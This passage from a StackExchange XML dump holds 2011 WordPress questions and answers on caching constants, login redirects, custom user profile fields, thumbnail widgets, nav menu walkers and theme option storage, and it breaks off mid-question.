  <row Id="24499" PostTypeId="2" ParentId="24498" CreationDate="2011-07-30T14:29:25.833" Score="0" ViewCount="" Body="&lt;p&gt;The issue is with the taxonomy cache.  You have to clear it after you insert the terms in order to see them.  I had the same issue, which someone answered for me &lt;a href=&quot;http://wordpress.stackexchange.com/questions/8357/inserting-terms-in-an-hierarchical-taxonomy/8921#8921&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;delete_option(&quot;classified-category_children&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Insert that after the term inserts and you should be good.&lt;/p&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2011-07-30T14:29:25.833" CommentCount="2" />
  <row Id="24500" PostTypeId="2" ParentId="21582" CreationDate="2011-07-30T14:51:32.077" Score="1" ViewCount="" Body="&lt;p&gt;I've found that the best method is to do a view source then add the scripts to W3 in the same order they are listed in the source using the same url including the query string.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most problems are from plugins or themes that output javascript inline.  I try to move these to a custom.js file that is always listed last on W3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If any scripts break when when minified either leave them out of minify or use combine only.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-07-30T14:51:32.077" />
  <row Id="24501" PostTypeId="1" CreationDate="2011-07-30T14:53:42.487" Score="0" ViewCount="15" Body="&lt;p&gt;I'm looking for a wordpress plugin that provides wiki-style linking functionality that works with custom post types. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found countless plugins that let you put brackets around a word or phrase [[like this]] and if it matches a post title or category, it will create a link, &#xA;but none of them will link to content in a custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if there's a plugin out there that does this?&lt;/p&gt;&#xA;" OwnerUserId="7469" LastActivityDate="2011-07-30T14:53:42.487" Title="Wiki-Style Linking for Custom Post Types" Tags="&lt;custom-post-types&gt;&lt;link&gt;&lt;wiki&gt;" />
  <row Id="24502" PostTypeId="2" ParentId="23608" CreationDate="2011-07-30T15:02:28.050" Score="1" ViewCount="" Body="&lt;p&gt;You can turn off caching for your wp_list_comments template by placing &lt;code&gt;define('DONOTCACHEPAGE', true);&lt;/code&gt; at the top of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other constants available on a per page or template basis are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;define('DONOTCACHEDB', true);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disables database caching for given page.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;define('DONOTMINIFY', true);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disables minify for a given page.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;define('DONOTCDN', true);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disables content delivery network for a given page.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;define('DONOTCACHCEOBJECT', true);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disables object cache for a given page.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-07-30T15:02:28.050" CommentCount="1" />
  <row Id="24503" PostTypeId="2" ParentId="24164" CreationDate="2011-07-30T15:13:13.813" Score="3" ViewCount="" Body="&lt;p&gt;here's an example that hooks login_redirect and checks when their account was created, then redirects them to a url of your choice if it's been less than 48 hours:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_redirect( $to, $requested, $user ){&#xA;    if( !isset( $user-&amp;gt;user_login ) ){ // we only want this to run when credentials have been supplied&#xA;        return $to;&#xA;    }&#xA;    $regtime = strtotime($user-&amp;gt;user_registered);&#xA;    $now = strtotime(&quot;now&quot;);&#xA;    $diff = $now - $regtime;&#xA;    $hours = $diff / 60 / 60;&#xA;    if( $hours &amp;lt; 48 ){&#xA;        return &quot;/somepage/&quot;; // it's been less than 48 hours, redirect to message.&#xA;    } else {&#xA;        return admin_url();&#xA;    }&#xA;}&#xA;add_filter('login_redirect', 'my_redirect', 10, 3);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-30T15:13:13.813" CommentCount="3" />
  <row Id="24505" PostTypeId="1" CreationDate="2011-07-30T15:43:12.227" Score="0" ViewCount="43" Body="&lt;p&gt;I am trying to upload images in a photo gallery, but whenever I try to upload an image this error occur &quot;Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 800 bytes) in /mounted-storage/home61c/sub006/sc38717-QOHP/www/work/maxiyam/patrick/wp-content/plugins/nextgen-gallery/lib/gd.thumbnail.inc.php on line 434&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have increased the memory limit by this function &quot;/** Set up wordpress PHP Memory limit */&#xA;define('WP_MEMORY_LIMIT', '96M');&quot; but it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should be done? I need to upload many images in different galleries.&lt;/p&gt;&#xA;" OwnerUserId="1176" LastActivityDate="2011-07-30T18:26:19.890" ClosedDate="2011-08-19T19:37:27.160" Title="Fatel error when trying to upload image" Tags="&lt;images&gt;&lt;fatal-error&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="24506" PostTypeId="1" AcceptedAnswerId="24515" CreationDate="2011-07-30T16:31:28.490" Score="0" ViewCount="34" Body="&lt;p&gt;I'm working on a wordpress site and need to have a widget on the sidebar which has thumbnails, but links to URLs specified per thumbnail rather than the images. It seems simple, but I can't find any plugin to do it in a way a non-developer can from the admin panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the NextGEN gallery plugin is being used. Is there any way to configure that, or any similar plugin, in that manner?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How hard would it be to build a plugin from scratch to achieve this, and do you think that's necessary?&lt;/p&gt;&#xA;" OwnerUserId="7472" LastActivityDate="2011-07-30T20:31:30.293" Title="Widget which displays thumbnails, but links to urls?" Tags="&lt;widgets&gt;&lt;plugin-recommendation&gt;" AnswerCount="1" />
  <row Id="24507" PostTypeId="1" CreationDate="2011-07-30T17:06:55.153" Score="1" ViewCount="39" Body="&lt;p&gt;I've created my own WP 3.2 plugin. Now I want to put the WYSIWYG editor in it. I've tried the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_editor(null, 'body', null, false); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then it's displayed. I don't know why, but the CSS doesn't look as it should look. Am I missing something? Should I include any CSS file?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://i.stack.imgur.com/o9JIG.png&quot; rel=&quot;nofollow&quot;&gt;weird tinymce&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please look at the HTML/Visual buttons and the size of the content area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7473" LastEditorUserId="7473" LastEditorDisplayName="" LastEditDate="2011-07-30T18:34:17.513" LastActivityDate="2011-07-30T18:34:17.513" Title="WYSIWYG editor in WP 3.2 plugin" Tags="&lt;plugin-development&gt;&lt;tinymce&gt;&lt;editor&gt;&lt;wordpress.org&gt;&lt;wysiwyg&gt;" />
  <row Id="24508" PostTypeId="1" CreationDate="2011-07-30T04:27:16.287" Score="0" ViewCount="23" Body="&lt;p&gt;When I &lt;a href=&quot;https://skitch.com/chirag/ffpfk/editthemes&quot; rel=&quot;nofollow&quot;&gt;edit my theme's CSS file as shown here,&lt;/a&gt; it does not take effect when I load the page. I get there by going to &lt;code&gt;Appearance &amp;gt; Editor&lt;/code&gt;. When I go to &lt;code&gt;Appearance &amp;gt; Customise this Theme&lt;/code&gt;, those changes do take effect. I'm using the &quot;Blend&quot; them. Any ideas? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7483" LastActivityDate="2011-08-30T00:36:39.523" Title="How do I fix Editing Theme css in the Wordpress Editor so that it takes effect?" Tags="&lt;css&gt;&lt;themes&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="24509" PostTypeId="2" ParentId="24505" CreationDate="2011-07-30T18:26:19.890" Score="0" ViewCount="" Body="&lt;p&gt;is your webhost limit the upload file size? try to contact them first. Somtimes, that problem caused by the upload_max_filesize in server's configuration. Or your webhost is disable altering php configuration function. &lt;/p&gt;&#xA;" OwnerUserId="6312" LastActivityDate="2011-07-30T18:26:19.890" CommentCount="2" />
  <row Id="24510" PostTypeId="2" ParentId="21589" CreationDate="2011-07-30T19:13:14.437" Score="2" ViewCount="" Body="&lt;p&gt;Authors are rather simple content objects in WordPress. They have &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities&quot; rel=&quot;nofollow&quot;&gt;roles and capabilities&lt;/a&gt;, some basic meta data and their own edit screens. That’s it pretty much. If you want to add a custom taxonomy to authors you have to mirror each user with a (hidden) custom post type because the author object doesn’t support taxonomies …&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway … for meta boxes I have written a simple class. I hope it helps to understand how things work and where to hook in.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;class T5_User_Profile_Addon&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Adds a form field to the edit profile page.&#xA; *&#xA; * @author Thomas Scholz http://toscho.de&#xA; * @version 1.2&#xA; * @license GPL&#xA; *&#xA; */&#xA;class T5_User_Profile_Addon&#xA;{&#xA;&#xA;    public $settings = array (&#xA;    /* The name attribute. */&#xA;        'name'        =&amp;gt; ''&#xA;    ,   'label'       =&amp;gt; ''&#xA;    ,   'description' =&amp;gt; ''&#xA;&#xA;    /* You may use the following placeholder:&#xA;     * %name%        - name attribute&#xA;     * %label%       - label text&#xA;     * %description% - additional text&#xA;     * To use more placeholders, extend markup_filter().&#xA;     */&#xA;    ,   'markup'      =&amp;gt; ''&#xA;    /* If both are not FALSE, they will replace the 'markup', and a&#xA;     * table will be created. Uses the same placeholders as 'markup'.&#xA;     */&#xA;    ,   'th'          =&amp;gt; FALSE&#xA;    ,   'td'          =&amp;gt; FALSE&#xA;    /* Capabilities to show and edit the field.&#xA;     * Useful, if want to add a field that only administrators or editors&#xA;     * may edit or view.&#xA;     */&#xA;    ,   'cap_show'    =&amp;gt; 'read'&#xA;    ,   'cap_save'    =&amp;gt; 'edit_user'&#xA;    );&#xA;&#xA;    /**&#xA;     * Constructor&#xA;     *&#xA;     * @param array $args See settings. 'name' and 'markup' required.&#xA;     */&#xA;    public function __construct( $args )&#xA;    {&#xA;        $this-&amp;gt;settings = array_merge( $this-&amp;gt;settings, $args );&#xA;&#xA;        // The id attribute should be different to name, otherwise it doesn’t&#xA;        // work in Opera.&#xA;        empty ( $this-&amp;gt;settings['id'] )&#xA;            and $this-&amp;gt;settings['id'] = $this-&amp;gt;settings['name'] . '_id';&#xA;&#xA;        FALSE !== $this-&amp;gt;settings['th'] and FALSE !== $this-&amp;gt;settings['td']&#xA;            and $this-&amp;gt;settings['markup'] = '&amp;lt;table class=&quot;form-table&quot;&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;th&amp;gt;'&#xA;                . $this-&amp;gt;settings['th'] . '&amp;lt;/th&amp;gt;&amp;lt;td&amp;gt;' . $this-&amp;gt;settings['td']&#xA;                . '&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;';&#xA;&#xA;        add_action( 'show_user_profile',        array ( $this, 'show' ) );&#xA;        add_action( 'edit_user_profile',        array ( $this, 'show' ) );&#xA;        add_action( 'personal_options_update',  array ( $this, 'save' ) );&#xA;        add_action( 'edit_user_profile_update', array ( $this, 'save' ) );&#xA;    }&#xA;&#xA;    /**&#xA;     * Prints the form.&#xA;     *&#xA;     * @param  object $user&#xA;     * @return void&#xA;     */&#xA;    public function show( $user )&#xA;    {&#xA;        if ( ! current_user_can( $this-&amp;gt;settings['cap_show'], $user-&amp;gt;ID ) )&#xA;        {&#xA;            return;&#xA;        }&#xA;&#xA;        $label   = &quot;&amp;lt;label for='{$this-&amp;gt;settings['id']}'&amp;gt;{$this-&amp;gt;settings['label']}&amp;lt;/label&amp;gt;&quot;;&#xA;        $markup  = strtr( $this-&amp;gt;settings['markup'],&#xA;            array (&#xA;                '%name%'        =&amp;gt; $this-&amp;gt;settings['name']&#xA;            ,   '%id%'          =&amp;gt; $this-&amp;gt;settings['id']&#xA;            ,   '%label%'       =&amp;gt; $label&#xA;            ,   '%description%' =&amp;gt; $this-&amp;gt;settings['description']&#xA;            )&#xA;        );&#xA;        $old_val = trim( get_the_author_meta( $this-&amp;gt;settings['name'], $user-&amp;gt;ID ) );&#xA;        $markup  = $this-&amp;gt;markup_filter( $markup, $old_val );&#xA;&#xA;        print $markup;&#xA;    }&#xA;&#xA;    /**&#xA;     * Saves the data.&#xA;     *&#xA;     * @param  int $user_id&#xA;     * @return void&#xA;     */&#xA;    public function save( $user_id )&#xA;    {&#xA;        if ( ! current_user_can( $this-&amp;gt;settings['cap_save'], $user_id ) )&#xA;        {&#xA;            return;&#xA;        }&#xA;&#xA;        $input = empty ( $_POST[ $this-&amp;gt;settings['name'] ] )&#xA;            ? '' : $_POST[ $this-&amp;gt;settings['name'] ];&#xA;        $input = $this-&amp;gt;prepare_input( $input );&#xA;&#xA;        update_user_meta( $user_id, $this-&amp;gt;settings['name'], $input );&#xA;    }&#xA;&#xA;    /**&#xA;     * Prepares the user input. For extensions.&#xA;     *&#xA;     * @param  string $input&#xA;     * @return string&#xA;     */&#xA;    public function prepare_input( $input )&#xA;    {&#xA;        return $input;&#xA;    }&#xA;&#xA;    /**&#xA;     * Prepares the form markup.&#xA;     *&#xA;     * @param  string $markup&#xA;     * @param  string $old_val&#xA;     * @return string&#xA;     */&#xA;    public function markup_filter( $markup, $old_val )&#xA;    {&#xA;        $old_val = htmlspecialchars( $old_val, ENT_QUOTES, 'utf-8', FALSE );&#xA;        return str_replace( '%content%', $old_val, $markup );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Usage&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action( 'init', 'init_profile_addons' );&#xA;function init_profile_addons()&#xA;{&#xA;    $GLOBALS['extended_author_text'] = new T5_User_Profile_Addon(&#xA;        array (&#xA;            'name' =&amp;gt; 'extended_author_text'&#xA;        ,   'label' =&amp;gt; 'Second text field'&#xA;        ,   'description' =&amp;gt; '&amp;lt;p&amp;gt;This text will be shown at the top of your author archive. You may use HTML.&amp;lt;/p&amp;gt;'&#xA;        ,   'markup' =&amp;gt; '&amp;lt;table class=&quot;form-table&quot;&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;th&amp;gt;%label%&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;%description%&amp;lt;/th&amp;gt;&#xA;            &amp;lt;td&amp;gt;&amp;lt;textarea name=&quot;%name%&quot; id=&quot;%id%&quot; rows=&quot;10&quot; cols=&quot;30&quot;&amp;gt;%content%&amp;lt;/textarea&amp;gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;'&#xA;        )&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Example: a checkbox&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In some cases you may want to extend the class to change some behavior. Here I built a checkbox:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Template for a simple checkbox.&#xA; */&#xA;class T5_User_Profile_Checkbox extends T5_User_Profile_Addon&#xA;{&#xA;    public function prepare_input( $input )&#xA;    {   // Convert the checkbox value to integer&#xA;        return '' == trim( $input ) ? 0 : 1;&#xA;    }&#xA;&#xA;    public function markup_filter( $markup, $old_value )&#xA;    {   // Preselect the checkbox if necessary.&#xA;        $checked = 1 == $old_value ? ' checked=&quot;checked&quot;' : '';&#xA;        return str_replace( '%checked%', $checked, $markup );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;My primitive template system may not be the best approach. There is no user friendly error handling. I just needed something that works and is easy to understand. :)&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-07-30T19:13:14.437" CommentCount="2" />
  <row Id="24511" PostTypeId="1" CreationDate="2011-07-30T19:30:46.797" Score="0" ViewCount="35" Body="&lt;p&gt;Ive been searching around the web for a solution and couldn't find it yet.&#xA;I would like to use custom meta boxes in a wordpress post to allow uploading PDF's to each post (in my case it's a product) and display the PDF's as a simple UL list on the sidebar.&#xA;so basically I need to have function that will allow me to have a custom meta boxes with the media uploader and each time that I upload a media (PDF) it will be added to the post's sidebar PDF list(&quot;Menu&quot;)&#xA;Hope anyone can help. any help will be appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Gil&lt;/p&gt;&#xA;" OwnerUserId="7476" LastActivityDate="2011-07-30T19:30:46.797" Title="Add PDF attachments to a post using custom meta boxes" Tags="&lt;custom-menus&gt;&lt;metabox&gt;&lt;attachments&gt;&lt;uploads&gt;" />
  <row Id="24512" PostTypeId="2" ParentId="21626" CreationDate="2011-07-30T19:39:06.907" Score="1" ViewCount="" Body="&lt;p&gt;Expanding on Anu's answer.  Instead of relying on your custom sql query you could use the &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;WP_Query class&lt;/a&gt; and let WordPress handle all the heavy SQL lifting.  This would surely solve your navigation issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example query for movie post type within your _expiry_date meta_key:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$today = getdate();&#xA;$args = array(&#xA;    'post_type' =&amp;gt; 'movie',&#xA;    'meta_query' =&amp;gt; array(&#xA;            'meta_key' =&amp;gt; '_expiry_date',&#xA;            'meta_value' =&amp;gt; $today,&#xA;            'meta_compare' =&amp;gt; '&amp;lt; '&#xA;                    ),&#xA;    'posts_per_page' =&amp;gt; -1,&#xA;     'order'    =&amp;gt; 'DESC'&#xA;    );&#xA;&#xA;    $movie_query = new WP_Query( $args );&#xA;&#xA;    while ( $movie_query-&amp;gt;have_posts() ) : $movie_query-&amp;gt;the_post(); &#xA;    // Do stuff&#xA;   endwhile; ?&amp;gt;&#xA;&#xA; &amp;lt;div class=&quot;navigation&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;previous panel&quot;&amp;gt;&amp;lt;?php previous_posts_link('&amp;amp;laquo; newer') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;next panel&quot;&amp;gt;&amp;lt;?php next_posts_link('older &amp;amp;raquo;') ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-07-30T19:39:06.907" />
  <row Id="24513" PostTypeId="2" ParentId="24508" CreationDate="2011-07-30T19:39:26.687" Score="0" ViewCount="" Body="&lt;p&gt;Try empty the browser cache after each change.&lt;/p&gt;&#xA;" OwnerUserId="5778" LastActivityDate="2011-07-30T19:39:26.687" />
  <row Id="24514" PostTypeId="1" CreationDate="2011-07-30T20:23:46.103" Score="0" ViewCount="29" Body="&lt;p&gt;I've installed a network for the main domain and the sub.domain.com&#xA;It works, but I do prefer to maintain in separate databases, how do I do this?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7477" LastEditorUserId="3669" LastEditorDisplayName="" LastEditDate="2011-08-30T20:50:28.687" LastActivityDate="2011-08-30T21:05:53.943" Title="muliple wordpress installs (network) on different databases" Tags="&lt;multisite&gt;&lt;database&gt;&lt;network&gt;" AnswerCount="3" />
  <row Id="24515" PostTypeId="2" ParentId="24506" CreationDate="2011-07-30T20:31:30.293" Score="0" ViewCount="" Body="&lt;p&gt;You could create your own widget that queries posts from a certain category then displays &lt;code&gt;the_post_thumbnail&lt;/code&gt; in an unordered list linking to the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example widget (add to functions.php):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;class c3m_thumbnail_posts extends WP_Widget {&#xA;&#xA;function c3m_thumbnail_posts() {&#xA;$widget_ops = array( 'classname' =&amp;gt; 'thumbnail-posts', 'description' =&amp;gt; 'Displays post thumbnails' );&#xA;$control_ops = array( 'id_base' =&amp;gt; 'c3m-post-thumbnail' );&#xA;$this-&amp;gt;WP_Widget( 'c3m-post-thumbnail', 'Post Thumbnail Widget', $widget_ops, $control_ops );&#xA;}&#xA;function widget( $instance ) {&#xA;echo $before_widget;&#xA;?&amp;gt;&#xA;&amp;lt;h2&amp;gt;Title Goes Here&amp;lt;/h2&amp;gt;&#xA;&amp;lt;?php&#xA;    $args = array(&#xA;        'cat'       =&amp;gt; 16, //Replace with category ID of posts to show thumbnail for&#xA;        'posts_per_page' =&amp;gt;  6  //Replace with number of posts to show use -1 for all&#xA;    );&#xA;    $thumbnail_query = new WP_Query( $args ); ?&amp;gt;&#xA;&#xA;            &amp;lt;ul class=&quot;sidebar-thumbnails&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;    while ( $thumbnail_query-&amp;gt;have_posts() ) : $thumbnail_query-&amp;gt;the_post();  ?&amp;gt;&#xA;&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_post_thumbnail(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;?php endwhile; ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;    echo $after_widget;&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To modify what posts are used see &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;WP_Query class&lt;/a&gt; in the codex.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-07-30T20:31:30.293" CommentCount="1" />
  <row Id="24516" PostTypeId="2" ParentId="24508" CreationDate="2011-07-30T21:31:03.490" Score="0" ViewCount="" Body="&lt;p&gt;Maybe your theme is importing the style-sheet. Many custom themes will have the actual style-sheet in a sub-folder, then use an @import from another style-sheet. What you would need to do is find the style-sheet that is being used. You can then move the style-sheet from it's current location, or copy and past the content into the style-sheet that is in the theme's root folder. If you choose to change the location of the style-sheet, make sure to remove the @import rule.&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-07-30T21:31:03.490" />
  <row Id="24517" PostTypeId="1" CreationDate="2011-07-30T21:58:51.210" Score="0" ViewCount="64" Body="&lt;p&gt;Basically, here is an idea: I am starting a daily blog, and in order to gain access to sunday's posts, the user needs to share the site. I have figured out how to redirect once someone presses the +1 button, and how to redirect once someone tweets, but I have yet to figure out how to redirect after a facebook like. If anyone can help with this, I'll be very thankful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the record, I plan on doing this as whitehat-edly as possible. Basically, the post will say that I'm trying to gain popularity for the site, that I could really use some shares, I'll point out that they get six posts a week without asking for anything, and I'll tell them that I'm fine with them deleting the post if they really don't want to share it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One other thing, I don't really care if they post it on facebook or not. Like, the code doesn't need to check their facebook page to make sure it worked. I just want it so that when they click the button, it posts, and redirects them. The page won't be hidden, if someone had the direct URL they could get to it without sharing. I just want it to be simple, as I'm an amateur, but I also want to use this to get more traffic and a more engaged audience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance, Liam&lt;/p&gt;&#xA;" OwnerUserId="7478" LastActivityDate="2011-08-30T14:36:59.227" Title="Facebook like button that redirects?" Tags="&lt;redirect&gt;&lt;facebook&gt;" AnswerCount="1" />
  <row Id="24518" PostTypeId="1" AcceptedAnswerId="24521" CreationDate="2011-07-30T22:10:38.027" Score="0" ViewCount="45" Body="&lt;p&gt;I'm building a WordPress theme framework, that will likely have many options as development progresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a related question: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/24443/when-is-it-appropriate-to-create-a-new-table-in-the-wordpress-database&quot;&gt;When is it appropriate to create a new table in the WordPress database?&lt;/a&gt;, which indicates that a new table would be more efficient, but I'd like to know more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It makes sense that if it's faster to use a new table for a thousand entries, it must also be faster for tens or hundreds of entries. What's more, the wp_options table can become very cluttered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the differences in query execution time, memory usage, and other factors between these two options?&lt;/p&gt;&#xA;" OwnerUserId="7183" LastActivityDate="2011-07-31T00:33:12.223" Title="Efficiency of wp_options vs a new table" Tags="&lt;theme-development&gt;&lt;database&gt;&lt;theme-options&gt;&lt;admin-menu&gt;&lt;wp-options&gt;" AnswerCount="2" />
  <row Id="24520" PostTypeId="2" ParentId="24518" CreationDate="2011-07-30T23:16:53.770" Score="3" ViewCount="" Body="&lt;p&gt;If your theme framework has so many options that you're contemplating putting them in a separate table, you're Doing It Wrong™.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What are the differences in query execution time, memory usage, and other factors between these two options?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It depends on how you build the table (column data types, indexes), how many rows it has and what kind of queries you're doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wp_options table (along with the associated API) is optimized for simple key-value lookup, which is exactly what you need to store theme options.&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-07-31T00:06:47.237" LastActivityDate="2011-07-31T00:06:47.237" CommentCount="4" />
  <row Id="24521" PostTypeId="2" ParentId="24518" CreationDate="2011-07-31T00:33:12.223" Score="4" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;It makes sense that if it's faster to use a new table for a thousand entries, it must also be faster for tens or hundreds of entries.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Performance is not about the pure number rows – the real amount of data and their structure counts. Usually, you use just the &lt;a href=&quot;http://codex.wordpress.org/Category%3aTheme_Modification_API&quot; rel=&quot;nofollow&quot;&gt;theme mod API&lt;/a&gt;. Your theme data is on a predictable place and can easily exported or changed by plugins. The theme mod API stores all data in one single option, so a cluttered options table will not be your problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you put very deep arrays or objects in your theme data the (de-)serialization may slow down reading and writing these options. I’d rather work on my data structures in this case than creating a new table. And I’d use a good caching plugin to decrease database queries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If&lt;/strong&gt; you opt for separate tables – find a good solution for child themes and multi site installations. Imagine a small network with 100 blogs. Do you create a new table for each blog? Or do all blogs share one table? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would use a separate table only if WordPress’ table schema could not map my data structure. In a theme this is probably not the case.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-07-31T00:33:12.223" CommentCount="1" />
  <row Id="24522" PostTypeId="1" CreationDate="2011-07-31T00:37:24.550" Score="0" ViewCount="45" Body="&lt;p&gt;I'm hoping this is the last question I'll have to ask concerning this WordPress plugin that I've been working on for a few days now...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My plugin hooks into &lt;code&gt;wp_nav_menu_args&lt;/code&gt; and inserts my own custom Walker in order to generate XHTML for producing a multi-column submenu. &lt;a href=&quot;http://www.alistapart.com/articles/multicolumnlists/&quot; rel=&quot;nofollow&quot; title=&quot;CSS Swag: Multi-Column Lists&quot;&gt;This article by Paul Novitski&lt;/a&gt; explains what I'm trying to produce, as well as the method I'm using to produce it (I'm using method 4 from his list of 6 methods)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The HTML is output appropriately, I have the Settings API integrated perfectly, all my options are working perfectly, and I even included tons of custom features like meta-data for settings that changes according to the input value and progressively enhanced jQuery in the admin panel. I'm even thinking about abstracting the plugin class that I've made for easy creation of future plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem (and hopefully my final problem) arose when I started to apply CSS to style the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my plugin I provided settings to edit all of the arguments passed to &lt;code&gt;wp_nav_menu&lt;/code&gt;. If the setting is left blank, I leave the argument unchanged (allowing other plugins or themes to modify the arguments). However the &lt;code&gt;container_class&lt;/code&gt; and &lt;code&gt;menu_class&lt;/code&gt; arguments have been causing me some distress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to properly generate my dynamic stylesheet I need to know these classes, meaning that they must be saved to my options array. If they are left blank in the settings page then I allow the theme or other plugins to set them. However I do not know what they were set to until after the &lt;code&gt;wp_nav_menu()&lt;/code&gt; function has been called and my hook has initialized. Therefore the first time that the page is loaded after the settings are saved the menu will be unstyled. Refresh the page (since I saved the values when 